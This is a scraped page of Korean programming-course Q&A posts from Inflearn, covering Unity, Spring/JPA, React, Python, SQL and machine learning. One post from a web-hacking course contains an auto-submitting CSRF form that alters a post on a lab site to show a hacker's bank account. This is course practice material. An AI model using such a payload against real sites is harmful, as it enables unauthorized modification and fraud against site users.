묻고 답해요
164만명의 커뮤니티!! 함께 토론해봐요.
인프런 TOP Writers
-
해결됨[C#과 유니티로 만드는 MMORPG 게임 개발 시리즈] Part3: 유니티 엔진
만약에 2개 이상의 상태를 가질 때는 어떻게 처리하는게 좋나요?
예를 들어 점프를 하면서 이동을 한다거나, 스킬 정신집중을 하면서 이동을 한다거나 2개 이상의 상태를 가질 땐 애니메이션 처리를 어떻게 해야 하나요? 비트flag를 이용하여 여러 상태를 표현하게 되나요? 여러 상태를 표현하게 되면 애니메이션은 어떻게 표현하나요? 예를 들어 정신 집중을 하고 있는 애니메이션이 있고, 걸어가는 애니메이션이 있을 때 이 두 애니메이션도 Blending으로 처리하게 되나요?
-
미해결자바 ORM 표준 JPA 프로그래밍 - 기본편
준영속 상태와 비영속 상태의 차이점이 있을까요?
준영속상태의 경우 entityManager에서 관리하는 영속상태에서 detach를 통해서 다시 비영속 상태가 된 객체라고 이해하였습니다. 아직까지 진도로는 이 경우 비영속 대신에 굳이 준영속 이라는 걸로 따로 구분하는 이유가 있을지 궁굼합니다. 그냥 논리적인 구분일 뿐일까요? 실제 txCommit에 반영되지 않는 다는 점은 동일할 것 같아서요
-
미해결스프링 프레임워크 핵심 기술
JSON 객체 배열을 스프링 컨트롤러에서 받을 수 있는 가장 합리적인 방법을 알고 싶습니다!
데이터 예시{ 'testList' : [ { 'test01' : '000', 'test02' : '001' }, { 'test01' : '003', 'test02' : '004' } ] }해당 데이터를 스프링 컨트롤러로 전달 시 (ajax 요청) 가장 합리적으로 받을 수 있는 방법이 궁금합니다.1. @RequestBody 사용 - jackson 메시지 컨버터가 사용되기에 문제 없이 잘 동작하는 것 같습니다.- 2. @ModelAttriute 사용- 스크립트 단에서 testList[0].test01 형태로 직접 리스트의 인덱스에 접근해서 넘기지 않을 경우, 컨버팅 에러 발생- 데이터 예시의 형태를 직접 testList[0].test01 형태로 바꿔주는 작업을 스크립트 단에서 처리해야 하는게 맞을까요? (굉장히 비효율적이라는 생각이 듭니다.)3. 스프링 컨버터 추가- 직접 커스텀 컨버터 작성 후 등록 추가적으로 용어에 대한 정확한 이해가 되지 않아 질문드립니다.컨버터를 등록한다라는 것이, 기존 HTTP 메시지 컨버터에 추가적으로 새로운 컨버터를 등록한다는 의미인가요? 그리고 핸들러 메소드가 이러한 컨버터들을 이용하여 객체 또는 필드에 매핑하는 것인가요?정확한 개념이 잡히지 않으니, 응용하기가 조금 어렵습니다.긴 질문 읽어주셔서 감사합니다!
-
파이썬 사용자를 위한 웹개발 입문 A to Z Django + Bootstrap
cmder 에서 서버실행후에 면령프롬프트로 가려면 ctrl-break라는데 break 키를 모르겠습니다
삭제된 글입니다
-
미해결대세는 쿠버네티스 (초급~중급편)
대시보드 접속이 안됩니다.
브라우저에서 URL입력시 뜨는 화면입니다. 설치과정에 나와있는 절차는 전부 따랐습니다. 구글링해보니 적어도 토근입력 화면은 떠야하는 거 같은데 그거조차 안뜨네요.. 처음엔 kubectl get pods --all-namespace 결과가 전부 running이었는데 데시보드 몇번 접속하려고 시도해보니 위와 같은 상태가 되었네요.. 아래는 kubectl describe pods 결과입니다.
-
미해결[리뉴얼] 파이썬입문과 크롤링기초 부트캠프 [파이썬, 웹, 데이터 이해 기본까지] (업데이트)
강의중 제공하는 파일들 메일로 받아 볼 수 있을까요?
안녕하세요. 강의 잘 듣고 있습니다. 혹시 학습시에 제공하는 학습자료들을 한개의 압축파일로 받아 볼 수 있을까요? 매번 강의 볼때마다 자료다운받아서 보기하는데 받은 자료 정리가 사실 좀 힘들어서요. 가능하시다면 rbals7195@gmail.com 로 보내주시면 감사하겠습니다.
-
미해결스프링 부트 개념과 활용
저 그러면 @autowired SpringApplication springapplication
@Autowired SpringApplication springApplication; SpringApplication클래스 같은경우도 @ComponentScan에서 @component , , @Service같은 어노테이션없어도 쓸수 있는게 @EnableAutoConfiguration으로 자동설정되어 쓸수 있는것일까요?
-
미해결웹 게임을 만들며 배우는 자바스크립트
appendchild 사용이유??
안녕하세요 제로초님 강의정말잘보고있습니다. append 대신에 appendchild 사용이유가있을까요? append로도 똑같이 실행이되서요...
-
미해결실전! Querydsl
join에 관해서 질문드립니다.
강사님 강의 잘 듣고있습니다. 감사합니다 ! 질문이있습니다! 제가 아직 미흡하다보니 구분이 잘 안되고 있습니다,, 강의를 빠르게 한번 훑어보고 개인적으로 연습겸 해보고있는데요. 질문은 아래와 같습니다. (1) leftJoin 과 leftJoin + fetchJoin 의 정확한 차이점과 언제 어떻게 두개를 구분하여 사용해야하는지 궁금합니다.. (join의 목적은 인지하고있습니다) 또한 여기에서 fetch join 을 사용하지 않는 이유는 무엇일까요? <select문을 한번만 날리고싶을때를 기준> entity형태로 조회하면 fetchJoin이 필요하고 dto형태로 조회하면 fetchJoin이 필요가없더라구요 (error) return queryFactory .select(new QBasePostDto( post.id.as("postId"), post.title, post.desc, user.id.as("userId"), user.username.as("username") )) .from(post) .leftJoin(post.user, user)// .fetchJoin()ㄴ 이러한 경우에는 querydsl자체적으로 user.id.as("userId") 이부분을 보고 fetchJoin을 날려주는건가요??
-
미해결따라하며 배우는 노드, 리액트 시리즈 - 영화 사이트 만들기
axios와 fetch 차이가궁금합니다.
endpoint에 url 담아서 서버로 통신할때 axios 와 fetch의 차이가 있나요? fetch대신에 axios를 쓰면 어떻게되나요?
-
해결됨[백문이불여일타] 데이터 분석을 위한 중급 SQL
쿼리문의 실행순서에 대한 문의
SELECT CASE WHEN CategoryID = 1 THEN '음료' WHEN CategoryID = 2 THEN '소스' ELSE '이외' END AS new_category , AVG(Price) FROM Products GROUP BY new_category; 저는 SELECT문이 GROUP BY문 이후에 실행되는 것으로 알고 있는데, 위 쿼리문의 GROUP BY에서 어떻게 SELECT문의 alias를 사용할 수 있는지 궁금합니다.
-
미해결따라하며 배우는 노드, 리액트 시리즈 - 영화 사이트 만들기
Movie Details 페이지의 댓글작성 기능
안녕하세요~ 5일동안 클론코딩하면서 영화이트를 만들어봤습니다. 너무 유익했어요 ㅎㅎ 궁금한점이 있는데, 소개영상에는 Movie details 페이지에 유저가 댓글 남기는 기능도 잇던데 강의에 그 부분은 빠진 건가요?
-
해결됨프로그래밍 시작하기 : 파이썬 입문 (Inflearn Original)
styles.less 에서 에러가 있습니다.
Command not configured for Less! Add an issue on GitHub or send your own Pull Request. ^C 이런 오류가 있습니다. styles.less 내용은 이렇습니다. /* * Your Stylesheet * * This stylesheet is loaded when Atom starts up and is reloaded automatically * when it is changed and saved. * * Add your own CSS or Less to fully customize Atom. * If you are unfamiliar with Less, you can read more about it here: * http://lesscss.org */ /* * Examples * (To see them, uncomment and save) */ // style the background color of the tree view .tree-view { // background-color: whitesmoke; } // style the background and foreground colors on the atom-text-editor-element itself atom-text-editor { // color: white; // background-color: hsl(180, 24%, 12%); } // style UI elements inside atom-text-editor atom-text-editor .cursor { // border-color: red; } .script-view .line { font-size: 16px; }
-
미해결[개정판] 파이썬 머신러닝 완벽 가이드
score함수 인자에 들어갈 array 차원 형태
안녕하세요! 강사님 강의 중 분류 섹션들으면서 개인적으로 다른 데이터에 적용해보는 과정을 거치고 있습니다. 그런데 자꾸 이해가 되지 않는 오류가 떠서 강사님께 질문드립니다..! 우선 제가 인풋으로 집어넣을 데이터 형태는 다음과 같습니다. 예측하려는 값인 Category변수 제외하고 나머지 변수들을 sklearn의 label encoding한 상태입니다.. 그리고 100번 cell에서 학습까지 진행하는데는 문제가 없었습니다만 score 로 실제값과 예측값의 정확도를 보려고 했는데... 다음과 같은 오류가 떴습니다.. 그래서 score인자에 들어가는 객체 두개의 array 차원이 서로 다른 것 같아서 reshape으로 (-1,1)형태로 동일하게 바꿔주고 score를 다시 돌려보았는데 이번엔 feature 개수가 다르다고 합니다...이게 무슨 뜻인가요..? stackoverflow를 검색해서 구글링을 해보아도 해결이 안되서... 너무 답답해 질문 남깁니다.. 혹시라도 제가 업로드해드린 사진들 이외에 다른 정보가 필요하시면 답변달아주시면 제가 코드 전문을 올려드리거나 하겠습니다...! 감사합니다 :) 그리고 저번에도 질문드렸던 것과 관계가 있는데 예측값과 실제값을 비교하는 함수인 score나 accuracy_score 등 이런 함수들 인자에 들어갈 객체들 서로 array 차원수를 필수적으로 맞춰줘서 넣어주어야 하나요..? accuracy_score은 강사님께서 자동으로 바꿔주어 비교를 해준다고 하셨는데 다른 함수들도 그런건지... 너무 헷갈리네요 ㅜㅜ
-
미해결따라하며 배우는 노드, 리액트 시리즈 - 영화 사이트 만들기
favorite 변수변화
강의와 관련있는 질문을 남겨주세요.• 강의와 관련이 없는 질문은 지식공유자가 답변하지 않을 수 있습니다. (사적 상담, 컨설팅, 과제 풀이 등)• 질문을 남기기 전, 비슷한 내용을 질문한 수강생이 있는지 먼저 검색을 해주세요. (중복 질문을 자제해주세요.)• 서비스 운영 관련 질문은 인프런 우측 하단 ‘문의하기’를 이용해주세요. (영상 재생 문제, 사이트 버그, 강의 환불 등) 질문 전달에도 요령이 필요합니다.• 지식공유자가 질문을 좀 더 쉽게 확인할 수 있게 도와주세요.• 강의실 페이지(/lecture) 에서 '질문하기'를 이용해주시면 질문과 연관된 수업 영상 제목이 함께 등록됩니다.• 강의 대시보드에서 질문을 남길 경우, 관련 섹션 및 수업 제목을 기재해주세요. • 수업 특정 구간에 대한 질문은 꼭 영상 타임코드를 남겨주세요! 구체적인 질문일수록 명확한 답을 받을 수 있어요.• 질문 제목은 핵심 키워드를 포함해 간결하게 적어주세요.• 질문 내용은 자세하게 적어주시되, 지식공유자가 답변할 수 있도록 구체적으로 남겨주세요.• 정확한 질문 내용과 함께 코드를 적어주시거나, 캡쳐 이미지를 첨부하면 더욱 좋습니다. 기본적인 예의를 지켜주세요.• 정중한 의견 및 문의 제시, 감사 인사 등의 커뮤니케이션은 더 나은 강의를 위한 기틀이 됩니다. • 질문이 있을 때에는 강의를 만든 지식공유자에 대한 기본적인 예의를 꼭 지켜주세요. • 반말, 욕설, 과격한 표현 등 지식공유자를 불쾌하게 할 수 있는 내용은 스팸 처리 등 제재를 가할 수 있습니다. 안녕하세요~ add to favorite 버튼을 클릭하면 FavoriteNumber와 Favorited 변수 set을 바꾸는데 set 전 후 콘솔창에 띄어보니까 차이는 없는데 화면상으로는 잘 됩니다. set한 후에도 바뀌지 않는 이유가 궁급해서 질문드립니다~!! 소스코드
-
미해결파이썬 무료 강의 (기본편) - 6시간 뒤면 나도 개발자
생성자가 제대로 작동하지 않습니다.
marine 생성자가 작동을 안합니다... 생성자를 전부 맞게 적은 것 같은데 다음과 같은 오류가 발생해요. line 113, in <module> m1 = Marine() TypeError: __init__() missing 4 required positional arguments: 'name', 'hp', 'speed', and 'damage' from random import *# 일반 유닛class Unit: def __init__(self, name, hp, speed): self.name = name self.hp = hp self.speed = speed print("{0} 유닛이 생성되었습니다.".format(name)) def move(self, location): print("[지상 유닛 이동]") print("{0} : {1} 방향으로 이동합니다. [속{2}]".format(self.name, location, self.speed)) def damaged(self, damage): print("{0} : {1} 데미지를 입었습니다.".format(self.name, damage)) self.hp -= damage print("{0} : 현재 체력은 {1}입니다.".format(self.name, self.hp)) if self.hp <= 0: print("{0} : 파괴되었습니다. ".format(self.name))# 공격 유닛class AttackUnit(Unit): def __init__(self, name, hp, speed, damage): Unit.__init__(self, name, hp, speed) self.damage = damage def attack(self, location): print("{0} : {1} 방향으로 적군을 공격합니다. [공격력 {2}] " \ .format(self.name, location, self.damage))class Marine(AttackUnit): def __int__(self): AttackUnit.__init__(self, "마린", 40, 1, 5) def stimpack(self): if self.hp > 10: self.hp -= 10 print("{0} : 스팀팩을 사용합니다. (hp 10 감소)".format(self.name)) else: print("{0} : 체력이 부족하여 스팀팩을 사용하지 않습니다.".format(self.name))class Tank(AttackUnit): seize_developed = False def __int__(self): AttackUnit.__init__(self, "탱크", 150, 1, 35) self.seize_mode = False def set_seize_mode(self): if not Tank.seize_developed: return # 현재 시즈모드가 아닐 때 -> 시즈 모드 if not self.seize_mode: print("{0} : 시즈모드로 전환합니다.".format(self.name)) self.damage *= 2 self.seize_mode = True else: print("{0} : 시즈모드를 해제합니다.".format(self.name)) self.damage /= 2 self.seize_mode = Falseclass Flyable: def __init__(self, flying_speed): self.flying_speed = flying_speed def fly(self, name, location): print("{0} : {1} 방향으로 날아갑니다. [속도 {2}]".format(name, location, self.flying_speed))class FlyableAttackUnit(AttackUnit, Flyable): def __init__(self, name, hp, damage, flying_speed): AttackUnit.__init__(self, name, hp, 0, damage) Flyable.__init__(self, flying_speed) def move(self, location): print("[공중 유닛 이동]") self.fly(self.name, location)class Wraith(FlyableAttackUnit): def __init__(self): FlyableAttackUnit.__init__(self, "레이스", 80, 20, 5) self.clocked = False def clocking(self): if self.clocked == True: print("{0} : 클로킹 모드 해제합니다.".format(self.name)) self.clocked = False else: print("{0} : 클로킹 모드 설정합니다.".format(self.name)) self.clocked = Truedef game_start(): print("[알림] 새로운 게임을 시작합니다.")def game_over(): print("Player : gg") print("[Player] 님이 게임에서 퇴장하였습니다.")# 게임 진행game_start()m1 = Marine()m2 = Marine()m3 = Marine()t1 = Tank()t2 = Tank()w1 = Wraith()attack_units = []attack_units.append(m1)attack_units.append(m2)attack_units.append(m3)attack_units.append(t1)attack_units.append(t2)attack_units.append(w1)for unit in attack_units: unit.move("1시")Tank.seize_developed = Trueprint("[알림] 탱크 시즈 모드 개발이 완료되었습니다.")for unit in attack_units: if isinstance(unit, Marine): unit.stimpack() elif isinstance(unit, Tank): unit.set_seize_mode() elif isinstance(unit, Wraith): unit.clocking()for unit in attack_units: unit.attack("1시")for unit in attack_units: unit.damaged(randint(5, 20)) # 공격은 랜덤으로 받음# 게임 종료game_over()
-
해결됨웹 개발자와 정보보안 입문자가 꼭 알아야 할 웹 해킹 & 시큐어 코딩
무단 수정에서
<body onload="document.forms[0].submit()"> <form action="http://아이피/insecure_website/action.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="title" value="계좌번호 정보입니다."> <input type="hidden" name="content" value="* 은행 : 와우 은행* 예금주 : 해커* 계좌번호 : 1111-1111-2222"> <input type="hidden" name="password" value="a"> <input type="hidden" name="idx" value="43"> <input type="hidden" name="mode" value="modify"> <input type="submit"> </form> </body> 했는데 계속 잘못된 요청이라고 뜨는데 혹시 작성이 잘못된 걸까요..?
-
해결됨[리뉴얼] React로 NodeBird SNS 만들기
styled-components 적용이 안되요..
안녕하세요 제로초님 강의 잘 듣던 중 styled-component 적용이 안되는 것을 확인하고 질문 남깁니다. 현재 버전정보는 "dependencies": { "@ant-design/icons": "^4.2.1", "antd": "^4.4.3", "next": "^9.4.4", "next-redux-wrapper": "^6.0.2", "prop-types": "^15.7.2", "react": "^16.13.1", "react-dom": "^16.13.1", "react-redux": "^7.2.1", "react-slick": "^0.27.1", "redux": "^4.0.5", "redux-devtools-extension": "^2.13.8", "styled-components": "^5.1.1" } 이렇게 됩니다. 혹시 몰라 node_modules 삭제하고 다시 설치해보았지만 똑같이 적용 안되고 프로필페이지 이동 후 다시 돌아와도 적용 안되는거 확인했습니다. 어느 부분에서 문제가 발생한 걸까요?
-
미해결실전! 스프링 부트와 JPA 활용2 - API 개발과 성능 최적화
질문있습니다.
안녕하세요 김영한님, 소중한 강좌 잘 보고 제것으로 소화 중입니다. 강좌 중에 성능 최적화 하면서 쿼리 실행횟수 1+n+n 을 1+1로 끌어올리는 과정을 보면서 호기심이 들었습니다. 논리적으로 쿼리 횟수를 세는게 아니라 프로그래머틱(?)하게 db로 몇 번 쿼리를 쏘는지 확인하는 방법이 있을까요? 엉뚱한 질문일 수 있는데 시간 조금만 할애해주셔서 답변 주시면 감사하겠습니다.
-
미해결[개정판] 파이썬 머신러닝 완벽 가이드
Mydummyclassifier() 클래스 질문
# %ls pandas\ n\ numpy/titanic titanic_df = pd.read_csv("pandas n numpy/titanic/train.csv") y_titanic_df = titanic_df.Survived x_titanic = titanic_df.drop("Survived", axis = 1) x_titanic_df = preprocess(x_titanic) x_train, x_test, y_train, y_test = train_test_split(x_titanic_df, y_titanic_df, test_size = 0.2, random_state = 0) myclf = MyDummyClassifier() myclf.fit(x_train, y_train) mypredictions = myclf.predict(x_test) print("Dummy Classifier의 정확도는: {0:.4f}".format(accuracy_score(y_test, mypredictions))) 강의 내용 중 MyDummyClassifier라는 클래스를 만들때 .fit 이라는 method는 아무것도 하지 않고 pass 시켰는데 위 코드에서 myclf.fit(x_train, y_train) 를 하는 이유가 따로 있나요?? 아직 파이썬의 class 관련 내용은 깊게 공부를 하지 않아 미숙하여 질문을 남기게 되었습니다.. 또한, 함수를 만들지 않고 클래스 따로 만들어 사용할때 특별한 장점이 있는지 궁금합니다!!!